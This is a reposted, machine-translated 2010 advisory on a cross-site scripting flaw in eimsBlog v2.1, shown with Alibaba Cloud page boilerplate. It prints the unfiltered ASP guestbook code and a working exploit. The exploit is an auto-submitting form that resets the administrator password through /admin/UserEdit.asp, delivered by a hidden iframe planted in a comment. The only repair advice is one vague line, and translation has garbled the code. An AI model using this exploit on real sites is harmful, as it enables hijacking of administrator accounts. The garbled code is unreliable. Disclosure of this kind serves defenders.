EimsBlog_v2.1 Cross-Site vulnerability and repair suggestions

Source: Internet
Author: User

Release date: 2010-08-23

Affected Version: eimsBlog_v2.1

Vulnerability Description: Cross-Site vulnerability

Author: m4r10 http://www.bhst.org reprint Please Note Copyright

Vulnerability Analysis: Article. asp

------------------------------------------------------------------------------
If Action = "Save" Then
If Session ("CheckCode") <> Trim (Request. Form ("Code") Then WriteMsg ("Verification Code error ")
Set Rs = Server. CreateObject ("Adodb. RecordSet ")
Rs. Open "Select * From [eims_GBook]", Conn, 1, 3
Rs. AddNew
Rs ("TypeID") = ItemID
Rs ("Name") = Trim (Request. Form ("Name"). The nickname of the unfiltered message recipient
Rs ("ItemNote") = Replace (Trim (Request. Form ("ItemNote"), chr (10), "<br>") does not filter the message content
Rs ("ItemAddDate") = Now ()
Rs. Update
Rs. Close: Set Rs = Nothing
Response. Redirect "Article. asp? ItemID = "& ItemID
Rs. Close: Set Rs = Nothing
End If
-------------------------------------------------------------------------------
XSS cross-site Vulnerability

Vulnerability exploitation:

First, you have a controllable website, and then construct a form:

<Html>
<Form name = "form1" method = "post"
Action = "http: // target URL/admin/UserEdit. asp? Action = Save & ItemID = ">
<Input name = "name" value = "admin">
<Input name = "pass" value = "123456789">
<Input name = "fpass" value = "123456789">
</Form>
<Script>
Document. form1.submit ();
</Script>
</Html>

Save the above Code as xxx. asp (the file name is random) and upload it to your own controllable website to get your own URL address.

Insert the following content in the comment of a random article:

<Iframe src = "http: // your own URL/xss. asp" width = 0 height = 0> </iframe>

This vulnerability can be exploited to directly change the administrator password when the Administrator logs on to the background to view the message content.

Hazard level: high

Repair suggestions:
Strengthen the check and verification of user input content to prevent malicious attacks

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.